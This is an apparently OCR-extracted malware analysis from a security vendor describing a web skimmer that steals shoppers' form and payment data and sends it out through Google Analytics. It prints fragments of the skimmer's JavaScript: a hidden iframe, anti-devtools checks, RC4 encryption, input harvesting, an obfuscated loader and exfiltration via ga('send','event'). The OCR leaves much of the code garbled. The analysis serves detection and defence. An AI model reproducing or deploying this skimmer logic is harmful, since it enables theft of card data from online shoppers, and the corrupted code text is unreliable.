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Web skimming is a common class of attacks generally aimed at online shoppers. The
principle is quite simple: malicious code is injected into the compromised site, which collects
and sends user-entered data to a cybercriminal resource. If the attack is successful, the
cybercriminals gain access to shoppers’ payment information.

To make the data flow to a third-party resource less visible, fraudsters often register domains
resembling the names of popular web services, and in particular, Google Analytics (google-
anatytics[.]Jcom, google-analytcsapi[.]Jcom, google-analytc[.Jcom, google-anaiytlcs[.Jcom,
google-analytics|.]Jtop, google-analytics[.]Jcm, google-analytics[.]to, google-analytics-js[.]Jcom,
googlc-analytics[.]Jcom, etc.). But attack of this kind were also found to sometimes use the
authentic service.

To harvest data about visitors using Google Analytics, the site owner must configure the
tracking parameters in their account on analytics.google.com, get the tracking ID (trackingld,
a string like this: UA-XXXX-Y), and insert it into the web pages together with the tracking
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code (a special snippet of code). Several tracking codes can rub shoulders on one site,

sending data about visitors to different Analytics accounts.

Recently, we identified several cases where this service was misused: attackers injected
malicious code into sites, which collected all the data entered by users, and then sent it via
Analytics. As a result, the attackers could access the stolen data in their Google Analytics

account. We found about two dozen infected sites worldwide. The victims included stores in

Europe and North and South America selling digital equipment, cosmetics, food products,

spare parts eftc.

The screenshot below shows how the infection looks — malicious code with the attacker’s

tracking code and tracking ID:

Screenshot 1

The attacker tries to hide their malicious activity using a classic anti-debugging technique.
Screenshot 2 shows code for checking whether Developer mode is enabled in the visitor’s

browser. The code in the screenshot above is executed only if the result is negative.

3414 function s({) { .:J
3415 document [ 'guerySelectorAll'] ("iframe#ga') ["forEach'] (function (X) {
3416 £ {'removedi\x20element', X):
X['remowe'] ():
3418 }
3415 var U = document|'createElement'] ("iframe");
3420 Ul'style']['wisibility'] = 'hidden':
3421 U['asEyle' ][ 'width'] =:"Ip=";
3422 U['style']['position'] = 'fixed';
3423 U"style'::'heig‘nt'j =:Sipml s
3424 B'aEyle! [ 'cop’] =:'-S958px"-
3425 Ul'style']['left'] = '-85985px"';
3426 U"style': ['display'] = 'none':
3427 U['frameBorder'] = 0x0;
3428 U['setAttribute'] ('scrolling', 'no'};
3429 U"id'j = Vga';
3430 U['name'] = 'ga':
3431 var V = 'function\x201 () {var\x20e,t,n,c,0,a;e=window, t=document,n='x27script\x27,c=\x27_ xxmga\x27,e.
= GoogleBAnalyticsObject=c,e[c]=e[c] | |function() { (e[c] .g=elc].qll[]) .push(arguments}},e[c].l=1*new\x20Date, 0=t.
=+ createElement (n) ,a=t.getElenentsByTagName (n) [0] ,0.28ync=1,0.0nerror=_xe,o.onload= x1,o0. src=\x2ZThttps://www.
=+ ool e s O e el e 5 %27, a. parentlode, insertBefore (o, a) ,_xxmga (\xz?create\xz? \X2TUA-164293156-1%
&l =27, \x2T7auto4x27) }1({} ;var\x20i=i; function\x20 xe ()} {i<6&& (1{},i++) }functionix20 =1 ()} {docmert&&dm
=+ currentScript&sdocument .currentScript.remove () }:"';
3432 var W = '<html>r<head><script>" + V + '</script></head><body></body></html>';
3433 if (document £i document['guerySelector']('body')) {
3434 document [ 'querySelector'] ('body") [ 'appendChild'] (O);
3435 £('iframe\x20added") ;
3436 Ul 'contentWindow'] ['"document '] ["open'] () ;
3437 Ul'contentWindow'] ['document '] ["write'] (W)
3438 Ul 'contentWindow'] ["document '] ["close"] () W

2/7


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/06/19113355/sl_google_analytics_01.jpg

L L L L
0 & & 8 -1 - -
B T T !

[

L L Lo L

W wwwwwwwww
oL

O 0 0 0 0 Cn

oo o

w
[*]
Tl
fo

3353
i o
AR
3385
3396
3287
3398
BREE

2a00

var:- 1L =
wvar m = {
"Tadpents LoElG
'orientation': undefined
Pi
var n = 0xa0;
var o = functiom (O, V) {
window| 'dispatchEvent'] (new CustomEvent ('devtoolschange', {
‘detail': {
'isOpen': T,
‘orientation': V
FYys
setInterval (p, 0x1f4);
function p() {
var U = window['outerWidth'] - window|['innerWidth'] > n:
var V = window|['outerHeight'] - window['inmerHeight'] > n;
var W = U ? 'wertical' : 'horizontal':
if (! (V && U) && (window['Firebug'] &£& window['Firebug']['chrome']
isInitialized'] u V1) d
if ('m['isOpen'] m['orientation'] == W) {
i)
o x LR R B T e
m['isOpen'] =1 = 1! []:
m['orientation'] = W;
elas- o
if (m['isOpen']) {
R s HEAAT s BB e g S oL e

Screenshot 2

Curiously, the attackers left themselves a loophole — the option to monitor the script in
Debug mode. If the browser’s local storage (localStorage) contains the value
‘debug_mode’==’11’, the malicious code will spring into life even with the developer tools

£ window['Firebug']['chrome'] [

> ||

open, and will go as far as to write comments to the console in clumsy English with errors. In
screenshot 3, the line with the ‘debug_mode’ check follows the implementation of the RC4

encryption algorithm (used to encrypt the harvested data before sending it).

3336 return String; ‘:'
3337

3338 }

3339 function hi{O, V)

3340 var W = [], X = 0x0, Y, Z = '

3341 for (var a0 = 0x0; a0 < O0x100; a0++) {

3342 Wia0] = al:

3343 }

3344 for (a0 = 0x0; a0 < 0x100; al++)

3345 X= (X + W[aD] + giU}['charCodeAt"] (a0 % U['length'])}) % 0x100;

3346 Y = W[a0]:

3347 W[a0] = W[X]:

3348 W[X] = ¥: RCA
3345 }

3350 al = 0x0;

3351 X = 0x0;

3352 for (wvar al = 0x0; al < V['length']: al++) {

3353 a0 = (a0 + 0x1) % Dx100:

3354 X = (X + W[a0]) % 0x100;

3355 Y = W[a0]:

3356 Wial] = W[X]:

3357 WiX] = ¥:

3358 Z += g{})['"fromCharCode'] (g(V) ['chazCodeAt'] (al}) "~ W[ (W[a0] + W[X]) % 0x100]):
3359 ]

3360 recturn Z;

3361 }

3362 function i) f

3363 return localStoragel'getitem'] ("debug mode')

3364 }

3365 function j () {

3366 retarn: YAcia): S
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Screenshot 3

If the anti-debugging is passed, the script collects everything anyone inputs on the site (as

well as information about the user who entered the data: IP address, UserAgent, time zone).
The collected data is encrypted and sent using the Google Analytics Measurement Protocol.

The collection and sending process is shown in screenshot 4.

var B =

'2c436442308d21e%a5

function C(U)

{

if (U && U['length']) {
let W = {};
W['fields'] = U;

hif

/’

1['userAgent'];

W['user id'l = u;

W['host'] = window['location']['host'];
Wl'user agent'] = window['navigato

wvar V = new Date();

V['setTime'] (V['getTime']1 () + V['getTimezoneOoff

if (S && T()) {

W['ip'l = T();

}
if (3 o

W['isDeveloper'] = 0xl;
}

if (k

}

t()['_xxmga'] ('se

Screenshot 4
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RC4 key

'input, select, textarea' wvalues

- parseInt({V['getT oneQffset']({)) * 0x3c * Ox3e8);

victim's IP obtained using api.ipify.org

console.log('all fields what send', stolen data)
JSON.stringify(stolen data)

RC4 (key, stringified stolen data)

btoa(encrypted stolen data)

ga('send', 'event', '57', packed stolen_data, random guid)

The stolen data is sent by invoking the send event method in the ‘eventAction’ field.

The function signature in this case is:

1

2
3
4
5

ga('send', 'event’, {

'‘eventCategory': 'Category', //Protocol Parameter: ec; Value type: text; Max Lenght:
150 Bytes

'‘eventAction': 'Action’,

Bytes

'‘eventLabel': 'Label'

Bytes

N;

/[Protocol Parameter: ea; Value type: text; Max Lenght: 500

/[Protocol Parameter: el; Value type: text; Max Lenght: 500

This leads to an HTTP request being sent to the URL
https[:]//www.google-analytics.com/collect?<parameters>&ea=packed_stolen_data&
<parameters>
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In the above-described case, malicious code is inserted into a script on the infected site in
‘readable” form. In other cases, however, the injection can be obfuscated. Malicious code
also can be downloaded from a third-party resource. Screenshot 5 shows an example
obfuscation option. In this variant, a call to a malicious script from
firebasestorage.googleapis[.Jcom is inserted into the infected site.

—

document [ 'getElementById'] ("card pay') ['style']['display']='block';}f['onchange']=function () {if(f['checked']&&f["'value'] B
=='cc'} {if (document [ 'getElementById'] ('card pay'}) {document|'getElementById'] ('card pay') ['style']['display']="'block' }
else{if (document|'getElementById'] ('card pay' {document [ 'getElementById'] ('card pay') ['style']['display']='none';}}}
;}function e(f) {if(f['length']<0x4) {return f['replace’'] fgi,'")['replace'] (/(.{2})/g,"51/")}else{return £;}}if|
document:'querySelectDI':i'input[name=\x2?card_exp_date\xZ?]']}{document:'querySelectDI':['input[name=\x2?card_exp_date\
®27]') ['addEventListener'] ("change', function() {this["value']=e(this['value']) :}) ;document| 'querySelector'] ('input [name=\
x27card exp date\x27]')['addEventListener'] ('keypress', function(){this['value']=e(this['value']);});}}function b(c) {var
d=document['cookie']['match'] (new RegExp (' (*|\x20)'+c+'=([*:]1+)"));if(d)return d[0x2];}if(!'b("
localStorage'] ["getItem'] ("debug mode')==0xb) {a () ;window|['setInterval'] (a,0x3e8);}} ()} ;var disfa=["
WpXCo80ZCcOYwekvHEOyw4LDhsEXRDrCixPD1QDChE08w4 TDESESY SENwShlwrbDmMEvwSx 0w 7 PDk1 PDmCPCoMEgI 2 HCr sEvwqt ywoZDhEAXX3IDCscKTIiR3
WwEgHwT0+EXRRISOCE8KVwg7DsnzCh3hdTRHDNn1 s9Ax/ DosOGHMKMOVEONWS 3DinnComl XNy TCkcK1wT7 J5530WWE48Xx/

CnGvCncCOHT cENaMEvAsK3dBJudcKkw6xCwT 3ChH/ CjMK1wrAnYsOWbcKEXQhiws 4wwobCliXDiXDCgnkMw7 PDiMEsVyvCncKtwp 7TCuMEAWEC1VCKgWRPD10/
CiMErwrS5+wgHD] jXCo80MHnPChREtZIMOSYhLDskcAd2DCtcORKWSvCImPCkecOSWTRC L0/
wpbD107DoBxpdwXCns01lwodhSs0pwetkEGTDpj BHP sKuwo 7Dt TXEI 8KudMOvdxPDi 3Me LmvDss0cwp ZgVcKIDsOTAMOqwS LCp SKGwr DDmmPCg 8K/
FcO7J8KGwp3 CoMO1lwp/

DoMESJiTDInkJkUHBME cECWr4YwrLDizZGEcKyfhkQwr t 1TSKiCsEWwgfDi 80vwoXCtHEmMT sKulMCOwT j ConwCY cKawpLDvnpUccKESwrbImX zCnMExwoHDn 8K
TweHDhMEMXMCCWwEM1wpPDgsCAT SKyvwrhte3PDucC3 SMEDWagXDiME3aMCgwoFJICY 2 DEXDt 3nDhMOSEhL.CgcEnAMEV IsO0Iwr XDsMOI c8KPTcEBwpjCtQECi 8K
UwSBNwpzDgQvClsKJal3DicOMHSKGWo 3C1 8KwwgP D RMCEsKywgJHWE  DpBOSNsEXw4 1+

W4LCkwTD1FrCo8K1£c0kl] 7DveOEfwp 3Diw] DmnJd i UwpXwpLDhMEbwWgENBDShwS kaZ cKRb 3MEwppmSRDCnMOIQOHDn S K+woIGZ1l/
CegpNYsKZwdbCiRETWpAHWS 1GWrgVweFiwr fCg8KLwovDmaE,/
KgLDvhIiacOwNT1ldEV3IDmsOfwpSHWwEMNZMEawgql NwglMwELCnDeIwd SuL.8KzT cKTwrEne SK6weT D30 1lwrHCnr JQLcCewSkgAsC2wT 3Dmh0LISTCuA3DESKP
WwrQgZnfDgsK3wrnDuXMLIcOEWS /Cr8CEwosuwsSMmwS5vDiMOXKyrCjgs5weiDoiBSwgFSwr 3CveOSwoMbDEE/

WwpoFwgo6DsCGwr TCgMOMwoHC j WwMUsEewphWWwagdowgFxw4 98w T ZuScOBwS PCg0fCrmr CeOXDvwilmw S3D1 3CXUN S IwgqnCr sCUwpTClz4YwgzDhs05SwqgL.ChsCT
wa4vCjzTCpsCMwE 8 rwgDDhxr DvkwChQs kGHMEgaWj DmsKEXcKSLECEf1VbOWHCukt GJEPDkh SpeMEmwoNxZFl tweQ0wp IoaSnCixfDmx Jpwe 4MWwEeZ1wS k4wgPD v

Screenshot 5

After deobfuscation, we obtain a similar script with the same distinctive comments. Part of its
code is presented in screenshot 6 (a different tracking ID is used).
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var aa_a = ['apply', 'constructor', 'return /" + this + "/', 'compile', '~([* 1+({ +[*
TExEY =1 TEtest Ty T giadt, T gaip’, Teeekisl, 'matehl, TW-| Ny AFiTENT, TsetTimsl,
'getTime', '; expires=', "toUTCString', 'coockie', '; path=/", 'localStorage', "getItem',
' gid', 'localStorage', 'getItem', 'localStcrage', 'setItem', ' gid', 'log', 'document',
'String', 'document', 'String', 'charCodeaAt', 'length', 'length', 'fromCharCode',
'charCodeAt', 'getItem', 'debug mode', 'isOpen', 'orientation', 'isOpen', 'orientation',
'detail', 'dispatchEwvent', 'devtoolschange', 'outerWidth', 'innerWidth', 'outerHeight',
'innerHeight', 'wvertical', 'horizontal', 'Firebug', 'Firebug', 'chrome', 'Firebug', 'chrome',
'isInitialized', 'isOpen', 'orientation', 'isOpen', 'orientation', 'isOpen', 'isOpen',
'orientation', 'random', 'GAl.2.', 'querySelectorAll', 'iframe#ga', 'forEach', 'removed
element', 'remove', 'createElement', 'iframe', 'style', 'visibility', 'hidden', 'style',
'width', 'lpx', 'style', 'position', 'fixed', 'style', 'height', 'lpx', 'style', 'top',
r-9999px", 'style?, Tleft®, ' 9999px', '"style', 'display', "none", 'frameBorder",
'setAttribute', 'scrolling', 'name', ™function 1() {var
e,t,n,c,0,a;e=window, t=document,n="script',c='_ xxmga',e.GoogleAnalyticsObject=c,el[cl=e[c]||fun
ction() {(elcl.g=elc]l.aqll[]l).push{arguments)},elc].l=1*new
Date,o=t.createElement (n),a=t.getElementsByTagName (n) [0],c.async=1,0.onerror= =e,o.onload= x1,
o.src="https://www.google-analytics.com/analvtics.]s',a.parentNode.insertBefore (o,a), xzmga('c
reate', 'UA-157166487-1"', 'auto') }1(};var i=i;function xe(){i<6s&({l(),i++)}function
_x1 () {document&sdocument . currentScript&sdocument .. currentScript.remove () }: ",
'<html><head><script>"', '</script></head><body></body></html>"', 'querySelector', 'body',
'querySelector', 'body', '"appendChild', 'iframe added', 'contentWindow', 'document', 'open',
'contentWindow', 'document', 'write', 'contentWindow', 'document', 'close',
'iframe#gal[name=gal', 'contentWindow', 'https://api.ipify.ocrg?format=json', 'open', 'GET',
'setRequestHeader', 'Content-Type', '"application/json', 'onreadystatechange', 'readyState',
'status', 'responseText', 'parse', 'responseText', 'GAl.2.', 'clientIp', 'xhr load ip error',
'send', 'guerysSelectorall'. ‘ipput. select. textareat, ‘vyaluet, 'value', 'trim',
'attributes', 'walue', 'tagName', 'charAt', 'push', 'name', 'length', 'includes', 'name',
'push', 'value', '16d35c98f2e1684272c179143e2dbd976£742346', 'length', 'fields', 'user_ id',
'host', 'location', 'host', 'user agent', 'navigator', 'userAgent', 'setTime', 'getTime',
'getTimezoneOffset', 'getTimezoneOffset', 'isDeveloper', 'uid', ' gid', 'datetime’',
'toLocaleString', 'all fields what send', '"data length', '"length', 'data rc4d', 'data rc4
l=ngth', 'length', 'data rc4', 'data rc4 length', 'length', ' =xmga', ' =xmga', 'send’',
'event', 'document', 'unescape', 'encodeURIComponent', 'JSON', 'stringify', 'stringify',
'document', '??getGRAIframe’', 'btoa', 'ExxxuyE-uEMEx-4xE-yEEX-Exuxuxxxxxxx', 'replace',

Screenshot 6

What'’s the danger

Google Analytics is an extremely popular service (used on more than 29 million sites,
according to BuiltWith) and is blindly trusted by users: administrators write *.google-
analytics.com into the Content-Security-Policy header (used for listing resources from which
third-party code can be downloaded), allowing the service to collect data. What's more, the
attack can be implemented without downloading code from external sources.

How to avoid the issues

Users:

Install security software. Kaspersky solutions detect malicious scripts used in such
attacks as HEUR:Trojan-PSW.Script.Generic.

Webmasters:

e Do not install web applications and CMS components from untrusted sources. Keep all
software up to date. Follow news about vulnerabilities and take recommended actions
to patch them.
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o Create strong passwords for all administration accounts.

o Limit user rights to the minimum necessary. Keep track of the number of users who
have access to service interfaces.

 Filter user-entered data and query parameters to prevent third-party code injection.

e For e-commerce sites, it is recommended to use PCI DSS-compliant payment
gateways.
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